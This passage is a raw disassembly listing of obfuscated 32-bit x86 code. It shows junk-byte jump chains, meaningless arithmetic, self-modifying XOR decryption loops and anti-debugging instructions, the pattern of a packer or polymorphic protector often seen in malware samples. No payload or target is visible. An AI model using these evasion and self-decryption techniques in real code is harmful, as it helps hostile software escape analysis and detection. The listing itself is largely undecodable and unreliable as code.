		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
		dd 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_40ABB1:				; CODE XREF: .text:0040AB80j
		jmp	short loc_40AB8B
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------
		inc	ebp


loc_40ABB5:				; CODE XREF: .text:loc_40ABC4j
		jmp	short loc_40ABE1
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_40ABC4:				; CODE XREF: .text:loc_40AB8Bj
		jmp	short loc_40ABB5
; ---------------------------------------------------------------------------
		dw 0EC9Fh
; ---------------------------------------------------------------------------
		mov	ch, 4Ah


loc_40ABCA:				; CODE XREF: .text:loc_40ABE1j
		jmp	short loc_40ABF8
; ---------------------------------------------------------------------------
		dd 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_40ABE1:				; CODE XREF: .text:loc_40ABB5j
		jmp	short loc_40ABCA
; ---------------------------------------------------------------------------
		db 0B4h
		dd 202352DDh
		db 0D9h, 9Eh, 7Fh
; ---------------------------------------------------------------------------


loc_40ABEB:				; CODE XREF: .text:loc_40ABF8j
		jmp	short loc_40AC17
; ---------------------------------------------------------------------------
		db 4Ch,	95h, 0AAh
		dd 7611389Bh, 24DE477h
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: .text:loc_40ABCAj
		jmp	short loc_40ABEB
; ---------------------------------------------------------------------------
		dw 5013h
		dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		dd 987B0A75h
; ---------------------------------------------------------------------------
		icebp
		setalc
		push	edi


loc_40AC17:				; CODE XREF: .text:loc_40ABEBj
		jnz	loc_40AC9D
		jmp	short loc_40AC4F
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_40AC22:				; CODE XREF: .text:loc_40AC4Fj
		jmp	short loc_40AC68
; ---------------------------------------------------------------------------
		dd 61C86BBAh, 9D744786h, 99E0E312h, 550C3F5Eh, 0D1F85B6Ah
		dd 0DA43736h, 910D3C2h,	0C53C2F0Eh, 41284B1Ah, 7DD427E6h
		db 72h,	0C3h, 40h
; ---------------------------------------------------------------------------


loc_40AC4F:				; CODE XREF: .text:0040AC1Dj
		jmp	short loc_40AC22
; ---------------------------------------------------------------------------
		db 79h,	0BEh, 1Fh
		dd 3BCA356Ch
; ---------------------------------------------------------------------------
		pop	eax


loc_40AC59:				; CODE XREF: .text:loc_40AC68j
		jmp	short loc_40AC89
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_40AC68:				; CODE XREF: .text:loc_40AC22j
		jmp	short loc_40AC59
; ---------------------------------------------------------------------------
		dw 2B7Ah
; ---------------------------------------------------------------------------


loc_40AC6C:				; CODE XREF: .text:loc_40AC89j
		jmp	short locret_40AC9C
; ---------------------------------------------------------------------------
		dw 2188h
		dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		dd 0C9D09382h
		db 0CEh
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: .text:loc_40AC59j
		jmp	short loc_40AC6C
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------

locret_40AC9C:				; CODE XREF: .text:loc_40AC6Cj
		retn
; ---------------------------------------------------------------------------


loc_40AC9D:				; CODE XREF: .text:loc_40AB0Fj
					; .text:loc_40AC17j
		pushfw
		push	ebx
		call	sub_40ACAA
; ---------------------------------------------------------------------------
		mov	bh, bl
		sbb	[ecx+56h], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40ACAA	proc near		; CODE XREF: .text:0040ACA0p
		push	eax
		jmp	short loc_40ACB6
; ---------------------------------------------------------------------------
		db 30h,	0A9h, 2Eh
		dd 3A655CCFh
; ---------------------------------------------------------------------------
		jmp	short loc_40ACFE
; ---------------------------------------------------------------------------


loc_40ACB6:				; CODE XREF: sub_40ACAA+1j
		mov	eax, eax
		xchg	cx, cx
		jmp	short loc_40ACBE
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_40ACBE:				; CODE XREF: sub_40ACAA+11j
		pop	eax
		jmp	short loc_40ACC4
; ---------------------------------------------------------------------------
		db 0DEh, 0BFh, 8Ch
; ---------------------------------------------------------------------------


loc_40ACC4:				; CODE XREF: sub_40ACAA+15j
		lea	ebp, [ebp+0]


loc_40ACC7:				; CODE XREF: sub_40ACAA+56j
		pop	ebx
		xor	dword ptr [ebx+22h], 3Ah
		dec	ecx
		add	ecx, 1
		xchg	ecx, ecx
		xor	dword ptr [ebx+23h], 68h
		xor	byte ptr [ebx-8], 8Fh
		xor	dword ptr [ebx-7], 5E853B9h
		xor	dword ptr [ebx+24h], 228Bh
		pop	ebx


loc_40ACFE:				; CODE XREF: sub_40ACAA+Aj
		popfw
		jmp	loc_40ACC7
sub_40ACAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushfw
		push	edi
		call	near ptr loc_40AD0D+4


loc_40AD0D:				; CODE XREF: .text:0040AD08p
		mov	[esi-3C7E4351h], ecx
		pop	eax
		adc	eax, 0C381DAA5h
		test	al, 0EAh
		pop	edx
		and	eax, 8766F687h
		inc	dword ptr [edi-4AFC1437h]
		dec	edx
		mov	ebx, 81D28766h
		retn	0E36Dh
; ---------------------------------------------------------------------------
		dd 0EA8163A3h, 63A3E36Dh, 2BB7815Fh, 0D4000000h, 66009385h
		dd 0C181FF87h, 97D1D4E4h, 2B1CC181h, 8B52682Eh,	6D8DD7h
		dd 0D02BDB87h, 0D003D287h, 81C9875Ah, 2EB7h, 0C200h, 0F8B78000h
		dd 8FFFFFFFh, 0FFF9B781h, 57B2FFFFh, 0B78104E8h, 2Fh, 0D4000050h
		dd 0E99D665Fh, 0FFFFFFA8h, 76112CEBh, 0EB4DE477h, 50130238h
		dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0D7EBAE29h, 0BAE5DC4Fh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 9C66603Fh, 7E850h
		dd 5B6A0000h, 3736D1F8h, 0C68B50A4h, 0C603F687h, 6624248Dh
		dd 0C303F687h, 83368D58h, 814801C0h, 0F3h, 58434B00h, 25B081h
		dd 335D0000h, 8B502557h, 2D3F8DC0h, 0
		dd 0C68BC58Bh, 8158C38Bh, 29B0h, 0E90000h, 0F8B08000h
		dd 8FFFFFFFh, 0FFF9B081h, 50B4FFFFh, 0B08107E8h, 2Bh, 57335D3Fh
		dd 0E99D6658h, 0FFFFFFB7h, 0EB1B24EBh, 0F691B831h, 82CD64F7h
		dd 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h
		dd 8AF52CDFh, 0DBEB18FBh, 0EBD75671h, 0E2ADC42Eh, 2EA93073h
		dd 0F3EB5CCFh, 48EB3A65h, 0F4C706E1h, 6063921Dh, 2AEBDE19h
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h, 0EB45BCAFh
		dd 0A8CB9AE9h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 0ACB91631h, 0EB000007h, 43EB8F2Dh, 0ABFA251Ch, 87C6A108h
		dd 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h
		dd 6F4E4950h, 8B5A057Ch, 67268168h, 0D2EBBD14h,	0B98003B2h
		dd 75AC5FFEh, 0F1987B0Ah, 572FEBD6h, 0F3622D44h, 0EBAE29B0h
		dd 32EB4FF4h, 6BBAE5DCh, 478661C8h, 0E3129D74h,	3F5E99E0h
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h,	0DAEBC53Ch
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 30801FBEh, 0B330EB48h
		dd 0F6EE970h, 2B7AA59Ch, 36EB2188h, 5D340746h, 59A0A3D2h
		dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
		dd 1E80BDAh, 0EB94E7A6h, 83323DD9h, 0DF7E3900h,	0EB8AF52Ch
		dd 7118FB30h, 0F7EBD756h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		dd 0C706E148h, 30EB1DF4h, 19606392h, 0D58CBFDEh, 5178DBEAh
		dd 8D24B7B6h, 89905342h, 0AFE7EB8Eh, 0CB9A45BCh, 0EB66C1A8h
		dd 0FD54A722h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 9716EDEBh
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 40C6A108h,	0EB2323EBh
		dd 9ED92030h, 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h
		dd 5A057C6Fh, 2681688Bh, 0B2BD1467h, 80DCEB03h,	0AC5FFEB9h
		dd 987B0A75h, 4457D6F1h, 2EEB492Dh, 0EBE5DC4Fh,	0C86BBA40h
		dd 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h
		dd 10D3C20Dh, 3C2F0E09h, 284B1AC5h, 0D427E641h,	0D3EB727Dh
		dd 40C32CEBh, 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh
		dd 6EE9EBE9h, 7AA59C0Fh, 4621882Bh, 0D25D3407h,	1E59A0A3h
		dd 2A15CCFFh, 850FB81Bh, 0FFFFFEC2h, 0E8529C66h, 9, 82CD64F7h
		dd 0CEC9D093h, 0FF8752EFh, 2D5A3F8Dh, 0DC510BCEh, 0AEF4322Dh
		dd 87390523h, 392D9975h, 49997587h, 8DFFE983h, 83412424h
		dd 8B5201E9h, 0D28766D6h, 835A368Dh, 5A43FFC3h,	3BB281h
		dd 3B0000h, 0ED870000h,	5, 81424A00h, 3CB2h, 6800h, 0F8B28000h
		dd 8FFFFFFFh, 0FFF9B281h, 52A2FFFFh, 0B28109E8h, 3Dh, 3B89h
		dd 0E99D665Ah, 0FFFFFFBFh, 0E8569C66h, 1, 6D8DDBh, 6624248Dh
		dd 8766DB87h, 1EB83D2h,	5EFFEB83h, 13B681h, 0ADDD0000h
		dd 1EB1992h, 17B681A7h,	0E9000000h, 80000000h, 0FFFFF8B6h
		dd 0B6818FFFh, 0FFFFFFF9h, 1E8568Ah, 18B681h, 320000h
		dd 665EADDDh, 0FFC5E99Dh, 9C66FFFFh, 8E856h, 43F20000h
		dd 9F3EF9C0h, 0EB81B5ECh, 0
; ---------------------------------------------------------------------------
		sub	edx, 1
		sub	edx, 0FFFFFFFFh
		lea	ebp, [ebp+0]


loc_40B175:				; CODE XREF: .text:0040B1B3j
		pop	esi
		xor	dword ptr [esi+17h], 9285D5h
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		lea	esp, [esp]
		inc	ecx
		sub	ecx, 1
		xor	dword ptr [esi+1Ah], 0FEh
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 8E85686h
		xor	dword ptr [esi+1Bh], 0D500003Bh
		pop	esi
		popfw
		jmp	loc_40B175
; ---------------------------------------------------------------------------
		pushfw
		push	edx
		call	near ptr loc_40B1C2+4
		and	esp, [eax]


loc_40B1C2:				; CODE XREF: .text:0040B1BBp
		fstp	dword ptr [esi+1B8D4C7Fh]
		add	ecx, 1
		sub	ecx, 1
		jmp	short loc_40B1D1
; ---------------------------------------------------------------------------
		push	eax


loc_40B1D1:				; CODE XREF: .text:0040B1CEj
		dec	edx
		inc	edx
		xchg	dx, dx
		xchg	ebp, ebp
		add	edx, 955707BDh
		sub	edx, 955707BDh
		push	eax
		mov	eax, eax
		jmp	short loc_40B1F0
; ---------------------------------------------------------------------------
		db 0ACh, 75h, 0Ah
		dd 0D6F1987Bh
; ---------------------------------------------------------------------------


loc_40B1F0:				; CODE XREF: .text:0040B1E7j
		pop	eax


loc_40B1F1:				; CODE XREF: .text:0040B279j
		pop	edx
		xor	dword ptr [edx+31h], 61B7C19Ch
		jmp	short loc_40B1FF
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------


loc_40B1FF:				; CODE XREF: .text:0040B1FCj
		sub	eax, 0CAD36C29h
		add	eax, 0CAD36C29h
		sub	ecx, 5E0D4324h
		sub	ecx, 0A1F2BCDCh
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		sub	ecx, 69326747h
		add	ecx, 69326747h
		lea	edx, [edx]
		sub	eax, 7B42B199h
		add	eax, 7B42B199h
		sub	ecx, 0B2EAF4h
		sub	ecx, 0FF4D150Ch
		jmp	short loc_40B242
; ---------------------------------------------------------------------------
		pop	ebx


loc_40B242:				; CODE XREF: .text:0040B23Fj
		lea	esp, [esp]
		sub	edx, 4541065Ch
		sub	edx, 0BABEF9A4h
		xor	dword ptr [edx+35h], 0E9h
		xor	byte ptr [edx-8], 8Fh
		xor	dword ptr [edx-7], 6E852A8h
		xor	dword ptr [edx+36h], 0C19C0084h
		pop	edx
		popfw
		jmp	loc_40B1F1
; ---------------------------------------------------------------------------
		jmp	short loc_40B2B0
; ---------------------------------------------------------------------------
		dd 41284B1Ah, 7DD427E6h
		db 72h
; ---------------------------------------------------------------------------


loc_40B289:				; CODE XREF: .text:loc_40B2B0j
		jmp	short loc_40B2C4
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h,	0F6EE970h
		dd 2B7AA59Ch, 7462188h,	0A3D25D34h, 0FF1E59A0h
; ---------------------------------------------------------------------------


loc_40B2B0:				; CODE XREF: .text:0040B27Ej
		jmp	short loc_40B289
; ---------------------------------------------------------------------------
		db 0CCh
		db 15h
; ---------------------------------------------------------------------------
		sub	bl, [ebx]
		mov	eax, 64F7F691h


loc_40B2BB:				; CODE XREF: .text:loc_40B2C4j
		jmp	short loc_40B2EC
; ---------------------------------------------------------------------------
		db 0CDh, 82h, 93h
		dd 0EFCEC9D0h
; ---------------------------------------------------------------------------


loc_40B2C4:				; CODE XREF: .text:loc_40B289j
		jmp	short loc_40B2BB
; ---------------------------------------------------------------------------


loc_40B2C6:				; CODE XREF: .text:loc_40B2ECj
		jmp	short loc_40B2FF
; ---------------------------------------------------------------------------
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
; ---------------------------------------------------------------------------


loc_40B2EC:				; CODE XREF: .text:loc_40B2BBj
		jmp	short loc_40B2C6
; ---------------------------------------------------------------------------
		dw 0E148h
		dd 1DF4C706h, 19606392h, 0D58CBFDEh
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_40B2FF:				; CODE XREF: .text:loc_40B2C6j
		mov	dword ptr [eax+6], 35FF64h
		jmp	short loc_40B337
; ---------------------------------------------------------------------------
		dd 9A45BCAFh, 66C1A8CBh
; ---------------------------------------------------------------------------
		cmpsd


loc_40B311:				; CODE XREF: .text:loc_40B337j
		jmp	short loc_40B347
; ---------------------------------------------------------------------------
		db 54h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh
		dd 1C8FEE69h, 8ABFA25h,	0B487C6A1h
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]


loc_40B337:				; CODE XREF: .text:0040B306j
		jmp	short loc_40B311
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------


loc_40B33A:				; CODE XREF: .text:loc_40B347j
		jmp	short loc_40B366
; ---------------------------------------------------------------------------
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_40B3BE


loc_40B347:				; CODE XREF: .text:loc_40B311j
		jmp	short loc_40B33A
; ---------------------------------------------------------------------------
		db 0E4h, 4Dh, 2
		dd 4E495013h
		db 6Fh
; ---------------------------------------------------------------------------


loc_40B351:				; CODE XREF: .text:loc_40B366j
		jmp	short loc_40B37B
; ---------------------------------------------------------------------------
		jl	short near ptr loc_40B359+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_40B359:				; CODE XREF: .text:0040B353j
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah


loc_40B366:				; CODE XREF: .text:loc_40B33Aj
		jmp	short loc_40B351
; ---------------------------------------------------------------------------
		db 7Bh,	98h
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: .text:loc_40B37Bj
		jmp	short loc_40B39A
; ---------------------------------------------------------------------------
		dd 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h
		db 0E5h, 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_40B37B:				; CODE XREF: .text:loc_40B351j
		jmp	short loc_40B36A
; ---------------------------------------------------------------------------
		db 0C8h, 61h, 86h
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h
		dd 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_40B39A:				; CODE XREF: .text:loc_40B36Aj
		mov	dword ptr [eax+0Ah], 64000000h
		jmp	short loc_40B3CA
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh


loc_40B3B0:				; CODE XREF: .text:loc_40B3CAj
		jmp	short loc_40B3DA
; ---------------------------------------------------------------------------
		dw 0B322h
		dd 0F6EE970h, 2B7AA59Ch
; ---------------------------------------------------------------------------
		mov	[ecx], ah


loc_40B3BE:				; CODE XREF: .text:0040B345j
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
; ---------------------------------------------------------------------------
		db 15h
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: .text:0040B3A1j
		jmp	short loc_40B3B0
; ---------------------------------------------------------------------------
		dd 91B81B2Ah
		db 0F6h
; ---------------------------------------------------------------------------


loc_40B3D1:				; CODE XREF: .text:loc_40B3DAj
		jmp	short loc_40B401
; ---------------------------------------------------------------------------
		mul	dword ptr [ebp+ecx*8-7Eh]
		xchg	eax, ebx
		ror	cl, 1


loc_40B3DA:				; CODE XREF: .text:loc_40B3B0j
		jmp	short loc_40B3D1
; ---------------------------------------------------------------------------
		dd 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------


loc_40B3E4:				; CODE XREF: .text:loc_40B401j
		jmp	short loc_40B412
; ---------------------------------------------------------------------------
		dw 0E7A6h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		dd 0CF2EA930h
; ---------------------------------------------------------------------------
		pop	esp


loc_40B401:				; CODE XREF: .text:loc_40B3D1j
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B403:				; CODE XREF: .text:loc_40B412j
		jmp	short loc_40B42B
; ---------------------------------------------------------------------------
		db 65h,	3Ah, 0EBh
		dd 0C706E148h, 63921DF4h
		db 60h,	19h
; ---------------------------------------------------------------------------


loc_40B412:				; CODE XREF: .text:loc_40B3E4j
		jmp	short loc_40B403
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]
		js	short loc_40B46D


loc_40B41C:				; CODE XREF: .text:0040B482j
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
; ---------------------------------------------------------------------------


loc_40B42B:				; CODE XREF: .text:loc_40B403j
		mov	dword ptr [eax+0Eh], 2589h
		jmp	short loc_40B45D
; ---------------------------------------------------------------------------
		dd 4AB5EC9Fh, 1631D8BBh	; CODE XREF: .text:0040B499j
					; .text:0040B49Dj
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_40B43D:				; CODE XREF: .text:loc_40B45Dj
		jmp	short loc_40B46F
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl


loc_40B45D:				; CODE XREF: .text:0040B432j
		jmp	short loc_40B43D
; ---------------------------------------------------------------------------
		db 76h
		db 77h,	0E4h
; ---------------------------------------------------------------------------


loc_40B462:				; CODE XREF: .text:loc_40B46Fj
		jmp	short loc_40B488
; ---------------------------------------------------------------------------
		dd 5013024Dh, 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------


loc_40B46D:				; CODE XREF: .text:0040B41Aj
		pop	edx
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_40B46F:				; CODE XREF: .text:loc_40B43Dj
		jmp	short loc_40B462
; ---------------------------------------------------------------------------


loc_40B471:				; CODE XREF: .text:loc_40B488j
		jmp	short loc_40B4A1
; ---------------------------------------------------------------------------
		db 68h
; ---------------------------------------------------------------------------
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]
		jnz	short loc_40B48C
		jnp	short loc_40B41C
		icebp
		setalc
		push	edi
		inc	esp


loc_40B488:				; CODE XREF: .text:loc_40B462j
		jmp	short loc_40B471
; ---------------------------------------------------------------------------
		dw 622Dh
; ---------------------------------------------------------------------------


loc_40B48C:				; CODE XREF: .text:0040B480j
		rep mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short near ptr dword_40B434+4
		adc	ah, bl
		loopne	near ptr dword_40B434+4
		pop	esi
		aas


loc_40B4A1:				; CODE XREF: .text:loc_40B471j
		mov	dword ptr [eax+12h], 0C0330000h
		jmp	short loc_40B4CD
; ---------------------------------------------------------------------------
		dec	ebx


loc_40B4AB:				; CODE XREF: .text:loc_40B4CDj
		jmp	short loc_40B4DD
; ---------------------------------------------------------------------------
		db 28h,	41h, 0E6h
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh, 22ED0417h
		dd 6EE970B3h, 7AA59C0Fh
		db 2Bh
; ---------------------------------------------------------------------------


loc_40B4CD:				; CODE XREF: .text:0040B4A8j
		jmp	short loc_40B4AB
; ---------------------------------------------------------------------------
		db 88h
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_40B4DD:				; CODE XREF: .text:loc_40B4ABj
		mov	word ptr [eax+16h], 889h
		jmp	short loc_40B50F
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------


loc_40B4F4:				; CODE XREF: .text:loc_40B50Fj
		jmp	short loc_40B520
; ---------------------------------------------------------------------------
		dw 0E7A6h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_40B50F:				; CODE XREF: .text:0040B4E3j
		jmp	short loc_40B4F4
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_40B513:				; CODE XREF: .text:loc_40B520j
		jmp	short locret_40B541
; ---------------------------------------------------------------------------
		db 65h,	3Ah, 0EBh
		dd 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------


loc_40B520:				; CODE XREF: .text:loc_40B4F4j
		jmp	short loc_40B513
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_40B57D
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h
		db 0F2h
; ---------------------------------------------------------------------------

locret_40B541:				; CODE XREF: .text:loc_40B513j
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_40B56D
; ---------------------------------------------------------------------------
		mov	ch, 4Ah
		mov	ebx, 971631D8h


loc_40B54B:				; CODE XREF: .text:loc_40B56Dj
		jmp	short loc_40B57D
; ---------------------------------------------------------------------------
		db 84h,	6Dh, 0A2h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		dd 0AA954C7Fh, 7611389Bh
		db 77h
; ---------------------------------------------------------------------------


loc_40B56D:				; CODE XREF: .text:0040B542j
		jmp	short loc_40B54B
; ---------------------------------------------------------------------------
		db 0E4h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_40B572:				; CODE XREF: .text:loc_40B57Dj
		jmp	short loc_40B5A4
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh
		db 8Bh
; ---------------------------------------------------------------------------


loc_40B57D:				; CODE XREF: .text:0040B52Aj
					; .text:loc_40B54Bj
		jmp	short loc_40B572
; ---------------------------------------------------------------------------
		db 68h
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h
; ---------------------------------------------------------------------------
		icebp
		setalc


loc_40B592:				; CODE XREF: .text:0040B5B0j
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------


loc_40B5A4:				; CODE XREF: .text:loc_40B572j
		mov	eax, [esp+4]
		pushfw
		push	ecx
		call	near ptr loc_40B5B5+1
		jecxz	short loc_40B592
		cdq
		pop	esi
		aas


loc_40B5B5:				; CODE XREF: .text:0040B5ABp
		or	al, 0EBh
		add	eax, 3736D1F8h
		movsb
		add	edx, 3F5135D3h
		sub	edx, 3F5135D3h
		add	eax, 2902D5F2h
		add	eax, 0D6FD2A0Eh
		xchg	di, di
		add	ebx, 6A5039D8h
		add	ebx, 95AFC628h
		lea	ebp, [ebp+0]
		sub	eax, 0A7318E8Eh
		sub	eax, 58CE7172h
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------
		db 79h,	0BEh, 1Fh
		dd 3BCA356Ch
; ---------------------------------------------------------------------------


loc_40B5F8:				; CODE XREF: .text:0040B5EFj
		jmp	short loc_40B5FB
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_40B5FB:				; CODE XREF: .text:loc_40B5F8j
		lea	ebp, [ebp+0]


loc_40B5FE:				; CODE XREF: .text:0040B652j
		pop	ecx
		xor	dword ptr [ecx+4Eh], 0BDC1D2h
		add	eax, 0FFFFFFFFh
		sub	eax, 0FFFFFFFFh
		sub	ecx, 0
		add	edx, 0E2010C2Bh
		sub	edx, 0E2010C2Bh
		lea	esp, [esp]
		xor	edx, 0
		xor	dword ptr [ecx+51h], 0A7h
		xor	byte ptr [ecx-8], 8Fh
		xor	dword ptr [ecx-7], 6E851CDh
		xor	dword ptr [ecx+52h], 0D2000051h
		pop	ecx
		popfw
		jmp	loc_40B5FE
; ---------------------------------------------------------------------------
		jmp	short loc_40B67E
; ---------------------------------------------------------------------------
		db 1Eh,	0FFh, 0CCh
		dd 0B81B2A15h
; ---------------------------------------------------------------------------


loc_40B660:				; CODE XREF: .text:loc_40B67Ej
		jmp	short loc_40B68F
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h
		dd 7E390083h
		db 0DFh, 2Ch
; ---------------------------------------------------------------------------


loc_40B67E:				; CODE XREF: .text:0040B657j
		jmp	short loc_40B660
; ---------------------------------------------------------------------------
		cmc


loc_40B681:				; CODE XREF: .text:loc_40B68Fj
		jmp	short loc_40B6AA
; ---------------------------------------------------------------------------
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_40B68F:				; CODE XREF: .text:loc_40B660j
		jmp	short loc_40B681
; ---------------------------------------------------------------------------
		db 2Eh,	0CFh, 5Ch
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
		db 51h,	0B6h
; ---------------------------------------------------------------------------


loc_40B6AA:				; CODE XREF: .text:loc_40B681j
		mov	eax, [eax-15h]
		jmp	short loc_40B6DC
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_40B6B8:				; CODE XREF: .text:loc_40B6DCj
		jmp	short loc_40B6ED
; ---------------------------------------------------------------------------
		dw 0F9C0h
		dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h,	251C8FEEh
		dd 0A108ABFAh, 0DDB487C6h, 0D9202352h
; ---------------------------------------------------------------------------


loc_40B6DC:				; CODE XREF: .text:0040B6ADj
		jmp	short loc_40B6B8
; ---------------------------------------------------------------------------
		dw 7F9Eh
		dd 9BAA954Ch
		db 38h
; ---------------------------------------------------------------------------


loc_40B6E5:				; CODE XREF: .text:loc_40B6EDj
		jmp	short loc_40B712
; ---------------------------------------------------------------------------
		db 11h
		dd 4DE47776h
		db 2
; ---------------------------------------------------------------------------


loc_40B6ED:				; CODE XREF: .text:loc_40B6B8j
